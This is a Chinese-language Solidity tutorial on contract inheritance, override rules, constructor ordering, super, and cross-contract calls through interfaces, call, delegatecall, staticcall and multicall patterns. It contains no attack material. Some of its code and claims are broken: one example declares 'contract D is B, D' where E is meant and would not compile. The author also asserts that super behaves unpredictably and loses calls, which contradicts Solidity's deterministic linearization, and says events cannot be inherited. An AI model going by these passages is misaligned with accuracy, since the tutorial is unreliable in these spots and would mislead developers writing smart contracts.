对于多重继承,如果有多个父合约有相同定义的函数, override
关键字后必须指定所有父合约名。
pragma solidity >=0.7.0 <0.9.0;
contract Base1
{
function foo() virtual public {}
}
contract Base2
{
function foo() virtual public {}
}
contract Inherited is Base1, Base2
{
// 继承自两个基类合约定义的foo(), 必须显示的指定 override
function foo() public override(Base1, Base2) {}
}
不过如果(重写的)函数继承自一个公共的父合约, override
是可以不用显示指定的。 例如:
pragma solidity >=0.7.0 <0.9.0;
contract A { function f() public pure{} }
contract B is A {}
contract C is A {}
// 不用显示 override
contract D is B, C {}
更正式地说,如果存在父合约是签名函数的所有重写路径的一部分,则不需要重写(直接或间接)从多个基础继承的函数,并且(1)父合约实现了该函数,从当前合约到父合约的路径都没有提到具有该签名的函数,或者(2)父合约没有实现该函数,并且存在从当前合约到该父合约的所有路径中,最多只能提及该函数。
从这个意义上说,签名函数的重写路径是通过继承图的路径,该路径始于所考虑的合约,并终止于提及具有该签名的函数的合约。
如果函数没有标记为 virtual
,那么派生合约将不能更改函数的行为(即不能重写)。
.. note::private
的函数是不可以标记为 virtual
的。
.. note::除接口之外(因为接口会自动作为 virtual
),没有实现的函数必须标记为virtual
.. note::从 Solidity 0.8.8 开始, 在重写接口函数时不再要求 override
关键字,除非函数在多个父合约定义。
如果 getter 函数的参数和返回值都和外部函数一致时,外部(external)函数是可以被 public 的状态变量被重写的,例如:
pragma solidity >=0.7.0 <0.9.0;
contract A
{
function f() external view virtual returns(uint) { return 5; }
}
contract B is A
{
uint public override f;
}
⚠️ : 尽管 public 的状态变量可以重写外部函数,但是 public 的状态变量不能被重写。
abstract(抽象合约)
基础合约中可以包含没有实现代码的函数,也就是纯虚函数,那么基础合约必须声明为 abstract
。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
abstract contract IERC20 {
function transfer() external virtual returns (bool);
}
contract ERC20 is IERC20 {
function transfer() external pure override returns (bool) {
return true;
}
}
扩展: 这里的 abstract
,也可以使用 interface
来解决。 更多 interface
内容,请参考 interface:接口 详细阅读。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
function transfer() external returns (bool);
}
contract ERC20 is IERC20 {
function transfer() external pure returns (bool) {
return true;
}
}
多级继承的代码书写顺序(线性化)
Solidity 语言的多重继承采用线性继承方式。继承顺序很重要,判断顺序的一个简单规则是按照从“最类似基类”到“最多派生”的顺序指定基类。
原则:先写基础合约,再写派生合约。
小技巧:可以先画继承逻辑图,然后按照从上到下,从左到右的顺序来写合约;
上面 virtual 和 override 的介绍例子中,合约继承逻辑图如下:
/**
A
|
B
|
C
*/
B 继承 A,C 继承 B。所以写的时候顺序是: A => B => C
继承案例一
/**
B A
\ /
C
*/
C 继承 A 和 B。
写的时候顺序是: A > B > C
/ B > A > C
都是可以的
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
function test1() public pure virtual returns (string memory) {
return "test1 from A";
}
}
contract B {
function test2() public pure virtual returns (string memory) {
return "test2 from B";
}
}
contract C is A, B {
function test3() public pure returns (string memory) {
return "test3 from C";
}
}
继承案例二
/**
A
/ |
B |
\ |
C
*/
B 继承 A,C 继承 A 和 B。注意:这里是 C 继承 A 和 B,不是 C 继承 B 和 A。
写的时候顺序是: A > B > C
代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
function test1() public pure virtual returns (string memory) {
return "test1 from A";
}
// 使用 public 和 external 都可以
function test2() external pure virtual returns (string memory) {
return "test2 from A";
}
function test3() public pure virtual returns (string memory) {
return "test3 from A";
}
}
contract B is A {
function test1() public pure virtual override returns (string memory) {
return "test1 from B";
}
function test2() external pure virtual override returns (string memory) {
return "test2 from B";
}
}
// 这里必须是 contract C is A, B
// 不能使用 contract C is B, A
contract C is A, B {
function test1() public pure override(A, B) returns (string memory) {
return "test1 from C";
}
// overrid内参数顺序无所谓,
// C 内必须重写 A 和 B,否则会报错
function test2() public pure override(B, A) returns (string memory) {
return "test1 from C";
}
}
C 继承 A 和 B 时候,所有 A 和 B 函数相同名字的方法,都需要重写。
否则会报错:
Derived contract must override function "functionName". Two or more base classes define function with same name and parameter types.
多重继承时候,需要先写基础合约,再写派生合约
写合约 C 的时候,必须写成
contract C is A, B
,不能写contract C is B, A
否则会报错:
TypeError: Linearization of inheritance graph impossible
。
继承案例三
/**
A
/ |
B |
\ |
C
|
D
*/
B 继承 A,C 继承 A 和 B,D 继承 C。(注意:这里是 C 继承 A 和 B,不是 C 继承 B 和 A),所以写的时候顺序是: A > B > C > D
D 继承 C 时候,没有同名函数的冲突,所以 test1 和 test2 随便是否重写。
代码如下
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
function test1() public pure virtual returns (string memory) {
return "test1 from A";
}
// 使用 public 和 external 都可以
function test2() external pure virtual returns (string memory) {
return "test2 from A";
}
function test3() public pure virtual returns (string memory) {
return "test3 from A";
}
}
contract B is A {
function test1() public pure virtual override returns (string memory) {
return "test1 from B";
}
function test2() external pure virtual override returns (string memory) {
return "test2 from B";
}
}
// 这里必须是 contract C is A, B
// 不能使用 contract C is B, A
contract C is A, B {
function test1()
public
pure
virtual
override(A, B)
returns (string memory)
{
return "test1 from C";
}
// overrid内参数顺序无所谓,
function test2()
public
pure
virtual
override(B, A)
returns (string memory)
{
return "test1 from C";
}
}
contract D is C {
function test1() public pure override returns (string memory) {
return "test1 from D";
}
}
继承案例四
/**
A
/ |
/ |
B C
\ |
\ D
\|
E
*/
B 继承 A,C 继承 A,D 继承 C,E 继承 B 和 D。所以写的时候顺序是: A > B > C > D
例子如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
function test1() public pure virtual returns (string memory) {
return "test1 from A";
}
// 使用 public 和 external 都可以
function test2() external pure virtual returns (string memory) {
return "test2 from A";
}
function test3() public pure virtual returns (string memory) {
return "test3 from A";
}
}
contract B is A {
function test1() public pure virtual override returns (string memory) {
return "test1 from B";
}
function test2() external pure virtual override returns (string memory) {
return "test2 from B";
}
}
contract C is A {
function test1() public pure virtual override returns (string memory) {
return "test1 from C";
}
}
contract D is C {
function test1() public pure virtual override returns (string memory) {
return "test1 from D";
}
}
contract D is B, D {
function test1() public pure override(B, D) returns (string memory) {
return "test1 from E";
}
// 必须要重写 test2 ,因为此时 B 和 D 内都有test2方法,但是D内继承A的test2方法,冲突了。
// 需要要写 override(B, A),不能写 override(B, D),否则会报如下错误
// Function needs to specify overridden contract "A".
// Invalid contract specified in override list: "D".
// 下面是错误的写法
// function test2() public pure override(B, D) returns (string memory) {
// 下面是正确的写法
function test2() public pure override(B, A) returns (string memory) {
return "test2 from E";
}
}
E 内必须要重写 test2 ,因为此时 B 和 D 内都有 test2 方法,但是 D 内继承 A 的 test2 方法,需要要写 override(B, A),不能写 override(B, D),否则会报错误:
Function needs to specify overridden contract "A".
Invalid contract specified in override list: "D".
继承中两种构造函数传参方式
继承的父合约,如果有构造函数并且需要传入参数,我们有以下几种方法进行参数传入
两种传参方法
方法 1: 固定值传参。(该方式不能在部署时动态输入)。
如果我们已经知道基类初始化参数,那么就可以在派生类的继承声明中,直接传递参数给基类的构造函数。
contract C is A("n"),B("v") {}
方法 2: 动态传参
如果我们需要在部署时或者运行时,由调用方传递基类初始化参数。在这种情况下,我们需要编写一个新的构造函数,传递参数给基类。
部署子合约的时候,传入参数到构造函数,该种方法是动态的值,可以部署的时候动态输入
contract D is A { constructor(string memory _name) A(_name) {} }
混写: 方法 1 和方法 2 可以混合使用
contract E is A, B("EEEEEEEEEEEEE") { constructor(string memory _name) A(_name) {} }
例子如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
string public nameA;
constructor(string memory _name) {
nameA = _name;
}
}
contract B {
string public nameB;
constructor(string memory _name) {
nameB = _name;
}
}
// 方法1: 继承时候直接传入参数,该种方法是固定值,不能动态输入
contract C is A("Name From C") {
}
// 方法2: 部署子合约的时候,传入参数到构造函数,该种方法是动态的值,可以部署的时候动态输入
contract D is A {
constructor(string memory _name) A(_name) {}
}
// 混合使用
contract E is A, B("EEEEEEEEEEEEE") {
constructor(string memory _name) A(_name) {}
}
继承中构造函数的执行顺序
多重继承中,构造函数的执行会按照定义时的继承顺序进行,与构造函数中定义顺序无关。
原则: 构造函数的执行顺序按照继承的顺序。
例子:
如下是先执行 A,再执行 B
contract E is A, B("EEEEEEEEEEEEE") {
constructor(string memory _name) A(_name) {}
}
如下是先执行 B,再执行 A
contract E is B("EEEEEEEEEEEEE"),A {
constructor(string memory _name) A(_name) {}
}
例子如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
event logA(string);
constructor(string memory _name) {
emit logA(_name);
}
}
contract B {
event logB(string);
constructor(string memory _name) {
emit logB(_name);
}
}
// 混合使用
contract E is A, B("EEE") {
constructor(string memory _name) A(_name) {}
}
contract F is B("FFF"), A {
constructor(string memory _name) A(_name) {}
}
部署 E 时候,输入 Anbang
,输出的 log 如下:先执行 A,再执行 B
[
{
"from": "0xed27012c24FDa47A661De241c4030ecB9D18a76d",
"topic": "0xb911c6b2723a9b89f3c8a0ce3f2dca6648150807aa6d6959fb18fa31748efcee",
"event": "logA",
"args": {
"0": "Anbang"
}
},
{
"from": "0xed27012c24FDa47A661De241c4030ecB9D18a76d",
"topic": "0x2a205cc759862a651d0a138a2245cac3f4b3214b93707a9d0fe4eb716f66f786",
"event": "logB",
"args": {
"0": "EEE"
}
}
]
部署 F 时候,输入 Anbang
,输出的 log 如下:先执行 B,再执行 A
[
{
"from": "0x3D42AD7A3AEFDf99038Cd61053913CFCA4944b95",
"topic": "0x2a205cc759862a651d0a138a2245cac3f4b3214b93707a9d0fe4eb716f66f786",
"event": "logB",
"args": {
"0": "FFF"
}
},
{
"from": "0x3D42AD7A3AEFDf99038Cd61053913CFCA4944b95",
"topic": "0xb911c6b2723a9b89f3c8a0ce3f2dca6648150807aa6d6959fb18fa31748efcee",
"event": "logA",
"args": {
"0": "Anbang"
}
}
]
两种子合约调用父合约的方法
有两种方法可以调用
直接使用合约名调用
ParentContractName.functionName()
;使用 super 关键字
super.functionName()
super 会自动寻找父合约,并执行对应的方法;
如果是多个父级,那么父级都会执行。但有时候又不会,执行顺序的原理,这些需要详细的了解
如果 super 导致 2 个父级同时触发同一个爷爷合约的相同方法;则爷爷的方法只执行一次。一个合约的同一个方法只会执行一次,不会执行多次。
直接使用合约名调用
执行顺序:像水中的冒泡一样,由下向上进行执行。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
event Log(string msg);
function test1() public virtual {
emit Log("A.test1");
}
}
contract B is A {
function test1() public virtual override {
emit Log("B.test1");
A.test1();
}
}
上面的例子执行顺序是
1. B.test1
2. A.test1
使用 super 关键字调用
基础继承
执行顺序:像水中的冒泡一样,由下向上进行执行。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
event Log(string msg);
function test1() public virtual {
emit Log("A.test1");
}
}
contract C is A {
function test1() public virtual override {
emit Log("C.test1");
super.test1();
}
}
上面的例子执行顺序是
1. C.test1
2. A.test1
多重继承
写一个如下逻辑的继承
/**
A
/ \
B C
\ /
D
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
event Log(string msg);
function test1() public virtual {
emit Log("A.test1");
}
}
contract B is A {
function test1() public virtual override {
emit Log("B.test1");
A.test1();
}
}
contract C is A {
function test1() public virtual override {
emit Log("C.test1");
super.test1();
}
}
contract D is B, C {
function test1() public override(B, C) {
emit Log("D.test1");
// 因为 B 和 C 都是 D 的父级,所以B和C都会执行
super.test1();
}
}
执行顺序:像水中的冒泡一样,由下向上进行执行。
1. D.test1
1. C.test1
1. B.test1
1. A.test1 (这里 A 只执行一次)
警告 : 为什么先输出 C,后输出 B ?
上面的例子,如果代码中 B 和 C 换顺序,还是执行的 DCBA
。开始怀疑和函数名字的 hash 结果顺序有关系,看完下面的继续研究代码,可以得出结论,复杂继承的时候,supper 方式就像一个疯子一样没有规律可言。我们能做的就是避开使用它。
多重继承合约不要使用 supper
写一个如下逻辑的继承
/**
A
/ \
B C
| \ /|
| \/ |
| /\ |
| / \|
D E
*/
代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract A {
event Log(string msg);
// 继承后重写合约方法,可见性需要一致
function test1() public virtual {
emit Log("A.test1");
}
}
contract B is A {
// 执行 B.test1 后
// 1. B.test1
// 2. A.test1
function test1() public virtual override {
emit Log("B.test1");
A.test1();
}
}
contract C is A {
// 执行 C.test1 后
// 1. C.test1
// 2. A.test1
function test1() public virtual override {
emit Log("C.test1");
super.test1();
}
}
contract D is B, C {
// 执行 D.test1 后
// 1. D.test1
// 2. C.test1
// 3. B.test1
// 4. A.test1
function test1() public override(B, C) {
emit Log("D.test1");
super.test1();
}
}
// 代码 contract D is B, C 改成 contract E is C, B 后 , C.test1 不执行了。
contract E is C, B {
// 执行 E.test1 后
// 1. E.test1
// 3. B.test1
// 4. A.test1
function test1() public override(B, C) {
emit Log("E.test1");
// B 和 C 都是 E 的父级,为啥B执行,而C不执行
super.test1();
}
}
疑问: 执行 E.test1 后,输出如下结果,这是没有任何规律的,并且丢失数据,在这种多重继承的时候,调用父合约不要 supper,直接使用合约名字是最稳妥的办法,切记切记。
1. E.test1
3. B.test1
4. A.test1
实战应用
下面的例子进行了详细的说明。
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract Owned {
constructor() public { owner = payable(msg.sender); }
address payable owner;
}
// 使用 is 从另一个合约派生。派生合约可以访问所有非私有成员,包括内部(internal)函数和状态变量,
// 但无法通过 this 来外部访问。
contract Destructible is Owned {
// 关键字`virtual`表示该函数可以在派生类中“overriding”。
function destroy() virtual public { if (msg.sender == owner)
selfdestruct(owner); } }
// 这些抽象合约仅用于给编译器提供接口。
// 注意函数没有函数体。
// 如果一个合约没有实现所有函数,则只能用作接口。
abstract contract Config {
function lookup(uint id) public virtual returns (address adr);
}
abstract contract NameReg {
function register(bytes32 name) public virtual;
function unregister() public virtual;
}
// 可以多重继承。请注意,owned 也是 Destructible 的基类,
// 但只有一个 owned 实例(就像 C++ 中的虚拟继承)。
contract Named is Owned, Destructible {
constructor(bytes32 name) {
Config config = Config(0xD5f9D8D94886E70b06E474c3fB14Fd43E2f23970);
NameReg(config.lookup(1)).register(name);
}
// 函数可以被另一个具有相同名称和相同数量/类型输入的函数重载。
// 如果重载函数有不同类型的输出参数,会导致错误。
// 本地和基于消息的函数调用都会考虑这些重载。
//如果要覆盖函数,则需要使用 `override` 关键字。
如果您想再次覆盖此函数,则需要再次指定`virtual`关键字。
function destroy() public virtual override {
if (msg.sender == owner) {
Config config = Config(0xD5f9D8D94886E70b06E474c3fB14Fd43E2f23970);
NameReg(config.lookup(1)).unregister();
// 仍然可以调用特定的重载函数。
Destructible.destroy();
}
}
}
// 如果构造函数接受参数,
// 则需要在声明(合约的构造函数)时提供,
// 或在派生合约的构造函数位置以修改器调用风格提供(见下文)。
contract PriceFeed is Owned, Destructible, Named("GoldFeed") {
function updateInfo(uint newInfo) public {
if (msg.sender == owner) info = newInfo;
}
// Here, we only specify `override` and not `virtual`.
// This means that contracts deriving from `PriceFeed`
// cannot change the behaviour of `destroy` anymore.
function destroy() public override(Destructible, Named) { Named.destroy(); }
function get() public view returns(uint r) { return info; }
uint info;
}
注意,在上边的代码中,我们调用 Destructible.destroy()
来”转发”销毁请求。 这样做法是有问题的,在下面的例子中可以看到:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract owned {
constructor() { owner = payable(msg.sender); }
address owner;
}
contract Destructible is owned {
function destroy() public virtual {
if (msg.sender == owner) selfdestruct(owner);
}
}
contract Base1 is Destructible {
function destroy() public virtual override {
/* 清除操作 1 */
Destructible.destroy();
}
}
contract Base2 is Destructible {
function destroy() public { /* 清除操作 2 */ Destructible.destroy(); }
}
contract Final is Base1, Base2 {
function destroy() public override(Base1, Base2) { Base2.destroy(); }
}
。 解决此问题的方法是使用 super:
调用 Final.destroy()
时会调用 Base2.destroy
,
因为我们在最终重写中显式指定了它。 但是此函数将绕过 Base1.destroy
,
解决这个问题的方法是使用 super
:
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract owned {
constructor() { owner = payable(msg.sender); }
address owner;
}
contract Destructible is owned {
function destroy() virtual public {
if (msg.sender == owner) selfdestruct(owner);
}
}
contract Base1 is Destructible {
function destroy() public virtual override { /* 清除操作 1 */ super.destroy(); }
}
contract Base2 is Destructible {
function destroy() public virtual override { /* 清除操作 2 */ super.destroy(); }
}
contract Final is Base1, Base2 {
function destroy() public override(Base1, Base2) { super.destroy(); }
}
如果 Base2
调用 super
的函数,它不会简单在其基类合约上调用该函数。
相反,它在最终的继承关系图谱的下一个基类合约中调用这个函数,所以它会调用
Base1.destroy()
(注意最终的继承序列是——从最终派生合约开始:Final,
Base2, Base1, Destructible, ownerd)。 在类中使用 super
调用的实际函数在当前类的上下文中是未知的,尽管它的类型是已知的。
这与普通的虚拟方法查找类似。
问答题
继承如何实现?
使用
is
实现继承继承: 派生合约继承基础合约的属性和方法
基础合约通常也被称为父合约,派生合约通常也称作子合约。
父合约必须写在子合约的前面,否则会报错
子类可以继承父类哪些数据?
子类可以访问父类的权限修饰符只有:
public/internal
,不能是external/private
。
多重继承中哪些属于重名?
一个合约同时继承 2 个合约时,这种情况叫多重继承
多重继承中不允许出现相同的函数名、事件名、修改器名以及状态变量名等。多重继承函数中 getter 函数重名也不可以。
当继承时合约出现了一下相同名字会被认为是一个错误:
函数 和 修改器/modifier 同名
函数 和 事件同名
事件和 修改器/modifier 同名
有一种例外情况,状态变量的
getter
函数可以覆盖external
函数。
如何重写函数?
solidity 引入了
abstract
,virtual
,override
几个关键字,用于重写函数。父合约方法需要标示为可修改,使用关键字
virtual
,子合约方法需要标示为覆盖,使用关键词
override
对于多重继承,如果有多个父合约有相同定义的函数, override 关键字后必须指定所有父合约名。
基础合约中可以包含没有实现代码的函数,也就是纯虚函数,那么基础合约必须声明为
abstract
。(abstract
,也可以使用interface
来解决。)继承多个合约时,所有同名的可修改函数都需要重写
继承后重写合约方法,各个合约内的函数可见性需要一致
可变性可以按照以下顺序更改为更严格的一种:
nonpayable
可以被view
和pure
覆盖。view
可以被pure
覆盖。payable
是一个例外,不能更改为任何其他可变性。
多级继承的代码书写顺序?
按照从“最类似基类”到“最多派生”的顺序指定基类。
原则:先写基础合约,再写派生合约。
小技巧:可以先画继承逻辑图,然后按照从上到下,从左到右的顺序来写合约;
继承中两种构造函数传参方式。
方法 1: 固定值传参。(该方式不能在部署时动态输入)。
如果我们已经知道基类初始化参数,那么就可以在派生类的继承声明中,直接传递参数给基类的构造函数。
contract C is A("n"),B("v") {}
方法 2: 动态传参
如果我们需要在部署时或者运行时,由调用方传递基类初始化参数。在这种情况下,我们需要编写一个新的构造函数,传递参数给基类。
部署子合约的时候,传入参数到构造函数,该种方法是动态的值,可以部署的时候动态输入
contract D is A { constructor(string memory _name) A(_name) {} }
混写: 方法 1 和方法 2 可以混合使用
contract E is A, B("EEEEEEEEEEEEE") { constructor(string memory _name) A(_name) {} }
继承中构造函数的执行顺序
多重继承中,构造函数的执行会按照定义时的继承顺序进行,与构造函数中定义顺序无关。原则: 构造函数的执行顺序按照继承的顺序。
如下是先执行 A,再执行 B
contract E is A, B("EEEEEEEEEEEEE") { constructor(string memory _name) A(_name) {} }
如下是先执行 B,再执行 A
contract E is B("EEEEEEEEEEEEE"),A { constructor(string memory _name) A(_name) {} }
子合约调用父合约的方法
直接使用合约名调用
ParentContractName.functionName()
;使用 super 关键字
super.functionName()
super 会自动寻找父合约,并执行对应的方法;
如果是多个父级,那么父级都会执行。但有时候又不会,执行顺序的原理,这些需要详细的了解
如果 super 导致 2 个父级同时触发同一个爷爷合约的相同方法;则爷爷的方法只执行一次。一个合约的同一个方法只会执行一次,不会执行多次。
执行顺序:像水中的冒泡一样,由下向上进行执行。但是如果多层级的执行,顺序规律还没有找到规律。
聊一聊合约继承
以上的内容精简回答
修饰符可以继承
事件不可以继承,但是可以重载
fallback
可以继承,但是需要保持原有的payable/nonpayable
receive
可以继承,但是需要保持原有的payable/nonpayable
合约调用合约
Solidity 支持一个合约调用另一个合约。两个合约既可以位于同一文件内,也可以位于不同的两个文件中。还能调用已经上链的其它合约。
调用内部合约
内部合约指:位于同一 sol 文件中的合约,它们不需要额外的声明就可以直接调用。
调用外部合约
外部合约指:位于不同文件的外部合约,以及上链的合约。
方法一: 通过接口方式调用
方法二: 通过签名方式调用
了解上面的调用后,可以扩展了解多次调用
调用内部合约
地址转换为合约对象的防范:
方法 1: 通过
ContractName(_ads)
将传入的地址,转为合约对象Test(_ads).setX(_x);
如果为了代码逻辑,也可以分开写,比如
Test temp = Test(_ads); temp.setX(_x);
方法 2: 可以通过参数中指定合约名字进行转换
function setX2(Test _ads, uint256 _x) public { _ads.setX(_x); }
调用并发送 ETH:
fnName{value: msg.value}();
Test(_ads).setYBySendEth{value: msg.value}();
例子演示:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
uint256 public x = 1;
uint256 public y = 2;
function setX(uint256 _x) public {
x = _x;
}
function getX() public view returns (uint256) {
return x;
}
function setYBySendEth() public payable {
y = msg.value;
}
function getXandY() public view returns (uint256, uint256) {
return (x, y);
}
}
contract CallTest {
// 第1种方法: 229647 / 27858 gas
function setX1(address _ads, uint256 _x) public {
Test(_ads).setX(_x);
}
// 第2种方法: 27923 gas
function setX2(Test _ads, uint256 _x) public {
_ads.setX(_x);
}
function getX(address _ads) public view returns (uint256) {
return Test(_ads).getX();
}
function setYBySendEth(address _ads) public payable {
Test(_ads).setYBySendEth{value: msg.value}();
}
function getXandY(address _ads)
public
view
returns (uint256 __x, uint256 __y)
{
(__x, __y) = Test(_ads).getXandY();
}
}
调用外部合约
通过接口方式调用
核心代码
interface AnimalEat {
function eat() external returns (string memory);
}
contract Animal {
function test(address _addr) external returns (string memory) {
AnimalEat general = AnimalEat(_addr);
return general.eat();
}
}
通过签名方式调用
通过签名方式调用合约,只需要传入被调用者的地址和调用方法声明。
在第二章地址类型那一节有详细的介绍
使用 call
使用 delegatecall
使用 staticcall
call 核心代码如下
bytes memory data = abi.encodeWithSignature(
"setNameAndAge(string,uint256)",
_name,
_age
);
(bool success, bytes memory _bys) = _ads.call{value: msg.value}(data);
require(success, "Call Failed");
bys = _bys;
用给定的有效载荷(payload)发出低级 CALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账), 格式如下:
<address>.call(bytes memory) returns (bool, bytes memory)
DelegateCall 核心代码如下
委托调用后,所有变量修改都是发生在委托合约内部,并不会保存在被委托合约中。
利用这个特性,可以通过更换被委托合约,来升级委托合约。
委托调用合约内部,需要和被委托合约的内部参数完全一样,否则容易导致数据混乱
可以通过顺序来避免这个问题,但是推荐完全一样
function set(address _ads, uint256 _num) external payable {
sender = msg.sender;
value = msg.value;
num = _num;
// 第1种 encode
// 不需知道合约名字,函数完全自定义
bytes memory data1 = abi.encodeWithSignature("set(uint256)", _num);
// 第2种 encode
// 需要合约名字,可以避免函数和参数写错
// bytes memory data2 = abi.encodeWithSelector(Test1.set.selector, _num);
(bool success, bytes memory _data) = _ads.delegatecall(data1);
require(success, "DelegateCall set failed");
}
staticcall 核心代码如下: 它与 call 基本相同,但如果被调用的函数以任何方式修改状态变量,都将回退。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
// 被调用的合约
contract Hello {
function echo() external pure returns (string memory) {
return "Hello World!";
}
}
// 调用者合约
contract SoldityTest {
function callHello(address _ads) external view returns (string memory) {
// 编码被调用者的方法签名
bytes4 methodId = bytes4(keccak256("echo()"));
// 调用合约
(bool success, bytes memory data) = _ads.staticcall(
abi.encodeWithSelector(methodId)
);
if (success) {
return abi.decode(data, (string));
} else {
return "error";
}
}
}
MultiCall/多次调用
把多个合约的多次函数的调用,打包在一个里面对合约进行调用。RPC 对调用有限制,这样可以绕开限制。
多次调用里面,对方的内部,
msg.sender
是 MultiCall 合约,而不是用户地址。
说明
调用的地址
调用的 data
合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract Test {
function fn1()
external
view
returns (
uint256,
address,
uint256
)
{
return (1, msg.sender, block.timestamp);
}
function fn2()
external
view
returns (
uint256,
address,
uint256
)
{
return (2, msg.sender, block.timestamp);
}
function getFn1Data() external pure returns (bytes memory) {
// 两种签名方法都可以
// abi.encodeWithSignature("fn1()");
return abi.encodeWithSelector(this.fn1.selector);
}
function getFn2Data() external pure returns (bytes memory) {
return abi.encodeWithSelector(this.fn2.selector);
}
}
contract MultiCall {
function multiCall(address[] calldata targets, bytes[] calldata data)
external
view
returns (bytes[] memory)
{
require(targets.length == data.length, "targets.length != data.length");
bytes[] memory results = new bytes[](data.length);
for (uint256 index = 0; index < targets.length; index++) {
(bool success, bytes memory result) = targets[index].staticcall(
data[index]
);
require(success, "call faild");
results[index] = result;
}
return results;
}
}
测试
部署
Test
:0x1c91347f2A44538ce62453BEBd9Aa907C662b4bD
使用
getFn1Data
获取 fn1 data使用
getFn2Data
获取 fn2 data
部署
MultiCall
:0x93f8dddd876c7dBE3323723500e83E202A7C96CC
调用 multiCall 方法
参数 1:
["Test 地址","Test 地址"]
参数 2:
["fn1 data","fn2 data"]
返回值如下
0x 0000000000000000000000000000000000000000000000000000000000000001 00000000000000000000000093f8dddd876c7dbe3323723500e83e202a7c96cc 00000000000000000000000000000000000000000000000000000000630c7834, 0x 0000000000000000000000000000000000000000000000000000000000000002 00000000000000000000000093f8dddd876c7dbe3323723500e83e202a7c96cc 00000000000000000000000000000000000000000000000000000000630c7834
MultiDelegatecall / 多次委托调用
为什么使用 MultiDelegatecall ,不使用 MultiCall?是为了让被调用的合约内,msg.sender
是用户合约,而不是中转合约的地址。
但是委托调用的缺点是,合约必须是自己编写的,不能是别人编写的。
多次委托调用,存在漏洞,不要在里面多次累加余额。或者多重委托禁止接受资金。
合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract MultiDelegatecall {
function multiDelegatecall(bytes[] calldata data)
external
returns (bytes[] memory)
{
bytes[] memory results = new bytes[](data.length);
for (uint256 index = 0; index < data.length; index++) {
(bool success, bytes memory result) = address(this).delegatecall(
data[index]
);
require(success, "call faild");
results[index] = result;
}
return results;
}
}
contract Test is MultiDelegatecall {
function fn1()
external
view
returns (
uint256,
address,
uint256
)
{
return (1, msg.sender, block.timestamp);
}
function fn2()
external
view
returns (
uint256,
address,
uint256
)
{
return (2, msg.sender, block.timestamp);
}
function getFn1Data() external pure returns (bytes memory) {
// 两种签名方法都可以
// abi.encodeWithSignature("fn1()");
return abi.encodeWithSelector(this.fn1.selector);
}
function getFn2Data() external pure returns (bytes memory) {
return abi.encodeWithSelector(this.fn2.selector);
}
}
合约测试
部署 Test 合约
获取 getFn1Data:
0x648fc804
获取 getFn2Data:
0x98d26a11
调用
multiDelegatecall
[”0x648fc804”,”0x98d26a11”]
得到 decoded output,发现地址是用户的
0x 0000000000000000000000000000000000000000000000000000000000000001 0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4 00000000000000000000000000000000000000000000000000000000630c8ebc, 0x 0000000000000000000000000000000000000000000000000000000000000002 0000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4 00000000000000000000000000000000000000000000000000000000630c8ebc
实战应用
问答题
内部合约调用有哪些方法?
方法 1: 通过
ContractName(_ads)
将传入的地址,转为合约对象Test(_ads).setX(_x);
如果为了代码逻辑,也可以分开写,比如
Test temp = Test(_ads); temp.setX(_x);
方法 2: 可以通过参数中指定合约名字进行转换
function setX2(Test _ads, uint256 _x) public { _ads.setX(_x); }
调用并发送 ETH:
fnName{value: msg.value}();
Test(_ads).setYBySendEth{value: msg.value}();
调用外部合约有哪些方法?
1 通过接口方式调用
interface AnimalEat { function eat() external returns (string memory); } contract Animal { function test(address _addr) external returns (string memory) { AnimalEat general = AnimalEat(_addr); return general.eat(); } }
2 通过签名方式调用(call/delegatecall/staticcall)
call 核心代码如下
bytes memory data = abi.encodeWithSignature( "setNameAndAge(string,uint256)", _name, _age ); (bool success, bytes memory _bys) = _ads.call{value: msg.value}(data); require(success, "Call Failed"); bys = _bys;
用给定的有效载荷(payload)发出低级
CALL
调用,并返回交易成功状态和返回数据(调用合约的方法并转账), 格式如下:
<address>.call(bytes memory) returns (bool, bytes memory)
DelegateCall 核心代码如下
function set(address _ads, uint256 _num) external payable { sender = msg.sender; value = msg.value; num = _num; // 第1种 encode // 不需知道合约名字,函数完全自定义 bytes memory data1 = abi.encodeWithSignature("set(uint256)", _num); // 第2种 encode // 需要合约名字,可以避免函数和参数写错 // bytes memory data2 = abi.encodeWithSelector(Test1.set.selector, _num); (bool success, bytes memory _data) = _ads.delegatecall(data1); require(success, "DelegateCall set failed"); }
staticcall 核心代码如下: 它与 call 基本相同,但如果被调用的函数以任何方式修改状态变量,都将回退。
// SPDX-License-Identifier: MIT pragma solidity ^0.8.18; // 被调用的合约 contract Hello { function echo() external pure returns (string memory) { return "Hello World!"; } } // 调用者合约 contract SoldityTest { function callHello(address _ads) external view returns (string memory) { // 编码被调用者的方法签名 bytes4 methodId = bytes4(keccak256("echo()")); // 调用合约 (bool success, bytes memory data) = _ads.staticcall( abi.encodeWithSelector(methodId) ); if (success) { return abi.decode(data, (string)); } else { return "error"; } } }
MultiCall/多次调用
把多个合约的多次函数的调用,打包在一个里面对合约进行调用。RPC 对调用有限制,这样可以绕开限制。
多次调用里面,对方的内部,
msg.sender
是 MultiCall 合约,而不是用户地址。
